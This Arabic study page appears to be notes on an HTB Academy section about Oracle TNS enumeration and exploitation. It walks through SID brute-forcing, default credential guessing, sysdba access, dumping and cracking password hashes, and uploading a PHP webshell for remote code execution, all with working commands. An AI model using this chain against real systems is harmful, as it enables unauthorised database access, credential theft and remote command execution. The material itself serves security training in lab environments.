◄ BACK TO PROTOCOLS
► HTB ACADEMY · MODULE 112 · SECTION 15/21
ORACLE TNS
TRANSPARENT NETWORK SUBSTRATE · DATABASE ENUMERATION · PRIVILEGE ESCALATION
1521
TCP Port
SID
System Identifier
scott/tiger
Default Creds
ODAT
Main Tool
sysdba
Max Privilege
RCE
File Upload
ما هو Oracle TNS؟

TNS = Transparent Network Substrate — بروتوكول خاص بـ Oracle للتواصل بين قواعد البيانات والتطبيقات. "Transparent" يعني التطبيق ما يحتاج يعرف كيف الاتصال يصير — TNS يتكفل بكل شيء في الخلفية.

🔌 البروتوكولات المدعومة
TCP/IP ← الأكثر شيوعاً اليوم ✅
UDP
IPX/SPX ← قديم من التسعينات ❌
AppleTalk ← قديم جداً ❌
🏢 يستخدم في
🏥 المستشفيات — بيانات المرضى
🏦 البنوك — معاملات مالية
🏪 متاجر كبيرة — مخزون ومبيعات
= بيانات حساسة جداً! 🎯
💡 TNS = لغة Oracle. أي أداة بدها تتصل بـ Oracle لازم تدعم TNS — بغض النظر عن الشركة اللي صنعتها.
Oracle TNS vs باقي قواعد البيانات
الخاصيةOracle TNSMySQLMSSQL
Port152133061433
بروتوكولTNS خاصTCP مباشرTDS
التشفيرمدمج ✅بدون افتراضياًاختياري
الاستخدامشركات كبيرةLAMP/LEMPWindows Enterprise
الـ Clientsqlplus / ODATmysqlmssqlclient.py
Listener — بوابة الدخول

الـ Listener = برنامج يجلس على Port 1521 وينتظر الاتصالات. مثل حارس البوابة — يتحقق من المستخدم ويوجهه للـ database الصح.

Oracle 8i/9i — قديم ⚠️
إدارة الـ Listener عن بعد مفتوحة
= تقدر توقفه أو تغير إعداداته بدون authentication 💀
Oracle 10g/11g — حديث ✅
الإدارة عن بعد مغلقة افتراضياً
= أكثر أماناً ✅
🎯 إدارة الـ Listener = تحكم في Port + من يتصل + أي databases يخدم + تشغيل/إيقاف الخدمة كاملة!
ملفا الإعداد الأساسيان
tnsnames.ora — CLIENT SIDE
يقول للـ client: "لو بدك تتصل بـ ORCL روح على هاد IP وهاد Port"

مثل: دفتر عناوين عندك أنت
listener.ora — SERVER SIDE
يقول للـ Listener: "استمع على Port 1521 وخدم هاي الـ databases"

مثل: تعليمات الحارس
📁 موقعهم: $ORACLE_HOME/network/admin/
tnsnames.ora — مثال كامل
ORCL = (DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = 10.129.11.102)(PORT = 1521)) ) (CONNECT_DATA = (SERVER = DEDICATED) (SERVICE_NAME = orcl) ← SID ) ) # ORCL = اسم الـ service # HOST = IP السيرفر # PORT = رقم الـ port # SERVICE_NAME = اسم قاعدة البيانات (SID)
🎯 لو وجدت tnsnames.ora على جهاز موظف = خريطة كاملة لكل Oracle databases في الشبكة الداخلية!
listener.ora — مثال كامل
SID_LIST_LISTENER = (SID_LIST = (SID_DESC = (SID_NAME = PDB1) (ORACLE_HOME = C:\oracle\product\19.0.0\dbhome_1) (GLOBAL_DBNAME = PDB1) ) ) LISTENER = (DESCRIPTION_LIST = (DESCRIPTION = (ADDRESS = (PROTOCOL = TCP) (HOST = orcl.inlanefreight.htb) (PORT = 1521)) ) )
💡 يكشف: اسم السيرفر + SIDs المتاحة + الـ ports — معلومات قيمة للـ pentest!
📋 معاملات الاتصال المهمة
المعاملالوظيفة
DESCRIPTIONاسم الـ database ونوع الاتصال
HOSTIP السيرفر
PORTرقم الـ port (افتراضي 1521)
SERVICE_NAMEاسم الـ service (SID)
USER / PASSWORDcredentials — لو موجودة = gold! 🎯
CONNECT_TIMEOUTtimeout للاتصال
SSL_VERSIONإصدار SSL/TLS
SID — System Identifier

SID = اسم فريد لكل database instance على السيرفر. بدونه ما تقدر تتصل!

السيرفر = مبنى
ORCL
Production DB
PROD
Production 2
DEV
Development
XE
Express Edition
⚠️ SID غلط = الاتصال يفشل فوراً! لازم تعرفه أول قبل ما تحاول تتصل.
كيف تكتشف الـ SID — 3 طرق
طريقة 1 — Nmap (أسرع):
sudo nmap -p1521 -sV 10.129.204.235 --open --script oracle-sid-brute PORT STATE SERVICE 1521/tcp open oracle-tns Oracle TNS 11.2.0.2.0 | oracle-sid-brute: |_ XE ← وجد الـ SID!
طريقة 2 — tnsnames.ora (لو وصلت لجهاز على الشبكة):
cat /oracle/network/admin/tnsnames.ora # SERVICE_NAME = XE ← SID مكتوب مباشرة! أسرع وأسهل من brute force 🎯
طريقة 3 — ODAT (أشمل):
./odat.py sidguesser -s 10.129.204.235 [+] SID found: XE [+] SID found: ORCL
⚠️ Default Credentials — جربها أول دايماً
UsernamePasswordمتى يكون موجود؟
scotttigerOracle 8i-10g — محذوف في 11g+
dbsnmpdbsnmpلو خدمة DBSNMP مثبتة
syschange_on_installOracle 9 وأقدم فقط
systemmanagerقديم جداً — نادر
💀 كثير admins ينسون يغيرون هاي الـ credentials! ODAT يجربهم تلقائياً.
💀 sysdba — أعلى صلاحية
scott عادي
SCOTT → CONNECT ✅
SCOTT → RESOURCE ✅
ما عنده admin privileges ❌
scott as sysdba
SYS → DBA ✅
SYS → كل الصلاحيات ✅
تحكم كامل بكل شيء 💀
sqlplus scott/tiger@TARGET/XE as sysdba Connected as SYS ← أعلى صلاحية في Oracle!
🎯 sysdba = root على Linux = Administrator على Windows = sa على MSSQL
💀 Password Hashes من sys.user$
SQL> select name, password from sys.user$; NAME PASSWORD SYS FBA343E7D6C8BC9D SYSTEM B5073FE1DE351687 OUTLN 4A3BA55E08595C81 # كسر الـ hashes offline: hashcat -m 3100 hashes.txt rockyou.txt FBA343E7D6C8BC9D:password123 ✅
💡 -m 3100 = Oracle H: DES hash type. Offline = سريع وما يُسجل على السيرفر!
💀 File Upload → RCE

لو السيرفر عليه web server، تقدر ترفع webshell مباشرة عبر Oracle!

# 1. إنشاء webshell: echo "<?php system(\$_GET['cmd']); ?>" > shell.php # 2. رفع الملف عبر ODAT: ./odat.py utlfile -s TARGET -d XE -U scott -P tiger \ --sysdba --putFile C:\\inetpub\\wwwroot shell.php ./shell.php [+] The file was created on C:\inetpub\wwwroot # 3. تشغيل أوامر: curl http://TARGET/shell.php?cmd=whoami nt service\oracle ← RCE! 💥
Windows
C:\inetpub\wwwroot
Linux
/var/www/html
اختر الأداة:
🔍Nmap
⚔️ODAT
🗄️sqlplus
🔍 Nmap على Oracle TNS
Scan أساسي:
sudo nmap -p1521 -sV 10.129.204.235 --open PORT STATE SERVICE VERSION 1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0
SID Brute Force:
sudo nmap -p1521 -sV 10.129.204.235 --open --script oracle-sid-brute | oracle-sid-brute: |_ XE ← وجد الـ SID!
💡 oracle-sid-brute يجرب قائمة من SIDs الشائعة تلقائياً
⚔️ ODAT — Oracle Database Attacking Tool

أداة Python مفتوحة المصدر للـ pentest على Oracle — يعمل كل شيء تلقائياً.

تشغيل كل الـ modules:
./odat.py all -s 10.129.204.235 [+] Checking target... [!] Notice: 'mdsys' account is locked... [+] Valid credentials found: scott/tiger 🎯
رفع ملف:
./odat.py utlfile -s TARGET -d XE -U scott -P tiger \ --sysdba --putFile C:\\inetpub\\wwwroot shell.php ./shell.php
الـ modules المتاحة:
all ← جرب كل شيء sidguesser ← اكتشاف SIDs passwordguesser ← brute force passwords utlfile ← رفع/تحميل ملفات externaltable ← قراءة ملفات OS java ← تشغيل Java privesc ← رفع الصلاحيات
🗄️ sqlplus — الاتصال المباشر
الاتصال العادي:
sqlplus scott/tiger@10.129.204.235/XE Connected to Oracle Database 11g SQL>
الاتصال كـ sysdba:
sqlplus scott/tiger@10.129.204.235/XE as sysdba Connected as SYS ← أعلى صلاحية! SQL>
الأوامر بعد الاتصال:
-- شوف كل الجداول: select table_name from all_tables; -- شوف صلاحياتك: select * from user_role_privs; -- سرق الـ password hashes: select name, password from sys.user$;
⚠️ لو طلع "ORA-28002: password will expire within 7 days" — الاتصال نجح! هاد مجرد تحذير.
⛓️ Attack Chain الكامل
🔍
Nmap Scan
Port 1521
🆔
SID Brute
oracle-sid-brute
🔑
ODAT all
scott/tiger
👑
as sysdba
SYS access
💥
RCE
File Upload
💥 الهجوم الكامل خطوة بخطوة
# 1. اكتشف Port 1521: sudo nmap -p1521 -sV TARGET --open # 2. اكتشف الـ SID: sudo nmap -p1521 TARGET --script oracle-sid-brute [*] SID: XE # 3. جرب ODAT للـ credentials: ./odat.py all -s TARGET [+] Valid credentials: scott/tiger # 4. اتصل بـ sqlplus: sqlplus scott/tiger@TARGET/XE # 5. ارفع صلاحياتك لـ sysdba: sqlplus scott/tiger@TARGET/XE as sysdba # 6. اسرق الـ hashes: select name, password from sys.user$; # 7. ارفع webshell: ./odat.py utlfile -s TARGET -d XE -U scott -P tiger \ --sysdba --putFile C:\\inetpub\\wwwroot shell.php ./shell.php # 8. RCE! curl http://TARGET/shell.php?cmd=whoami nt service\oracle ← 💥 RCE!
⛓️ خطوات الـ Oracle TNS Footprinting
1
Nmap Scan — اكتشاف الخدمة
تحقق إذا Port 1521 مفتوح + إصدار Oracle
sudo nmap -p1521 -sV TARGET --open
2
SID Enumeration
لازم تعرف الـ SID قبل ما تتصل
sudo nmap -p1521 TARGET --script oracle-sid-brute ./odat.py sidguesser -s TARGET
3
Password Guessing
جرب الـ credentials الافتراضية أول
./odat.py all -s TARGET # يجرب: scott/tiger, dbsnmp/dbsnmp, sys/change_on_install...
4
Privilege Escalation → sysdba
جرب الدخول كـ sysdba للحصول على أعلى صلاحية
sqlplus scott/tiger@TARGET/XE as sysdba
🎯 sysdba = تحكم كامل بكل قواعد البيانات!
5
سرقة البيانات
Password hashes + بيانات حساسة
select name, password from sys.user$; select table_name from all_tables; select * from users;
6
File Upload → RCE
لو في web server → ارفع webshell
./odat.py utlfile ... --putFile C:\\inetpub\\wwwroot shell.php
🌐 الأساسيات
إيش يعني "Transparent" في اسم TNS؟
التطبيق ما يحتاج يعرف كيف الاتصال يصير — TNS يتكفل بكل التفاصيل في الخلفية. مثل لما تتصل بالهاتف ما تفكر في كيف الصوت يتحول لإشارات.
إيش الـ Listener وليش مهم؟
برنامج يجلس على Port 1521 وينتظر الاتصالات — مثل حارس بوابة. كل خدمة عندها listener: MySQL → 3306، SSH → 22، Oracle → 1521. التحكم بالـ Listener = تحكم في كل من يدخل للـ database.
ليش Oracle في الشركات الكبيرة وليس MySQL؟
Oracle يدعم تشفير مدمج + load balancing + fault tolerance + أدوات إدارة متقدمة. MySQL أبسط وأرخص بس أقل في الميزات للبيئات المعقدة. في البنوك والمستشفيات الأمان والموثوقية أهم من السعر.
🔑 SID والاتصال
إيش الـ SID وليش ضروري؟
SID = System Identifier = اسم فريد لكل database instance. على نفس السيرفر ممكن يكون عندك ORCL وPROD وDEV — كل واحد SID مختلف. بدون SID صح الاتصال يفشل فوراً.
إيش الفرق بين tnsnames.ora وlistener.ora؟
tnsnames.ora على جهاز الـ client — يقول "لو بدك تتصل بـ ORCL روح هنا". listener.ora على السيرفر — يقول للـ Listener "استمع على Port 1521 وخدم هاي الـ databases".
💀 الهجمات
ليش scott/tiger خطير؟
حساب افتراضي في Oracle قديم للتعلم والاختبار. كثير admins ينسون يحذفونه أو يغيرون باسورده. ODAT يجربه تلقائياً — لو نجح = دخول مباشر للـ database!
إيش sysdba وليش هو أخطر من أي حساب ثاني؟
sysdba = System Database Administrator = أعلى صلاحية في Oracle. مثل root على Linux. عندك sysdba = تقرأ كل البيانات + تسرق كل الـ hashes + تعدل أي شيء في قاعدة البيانات كاملة.
كيف File Upload يصير RCE؟
ODAT يستخدم UTL_FILE في Oracle لكتابة ملفات على الـ filesystem. لو السيرفر عليه web server (IIS أو Apache)، ترفع shell.php على مجلد الـ web root، بعدين تطلبه من المتصفح بـ ?cmd=whoami = تشغّل أوامر OS مباشرة!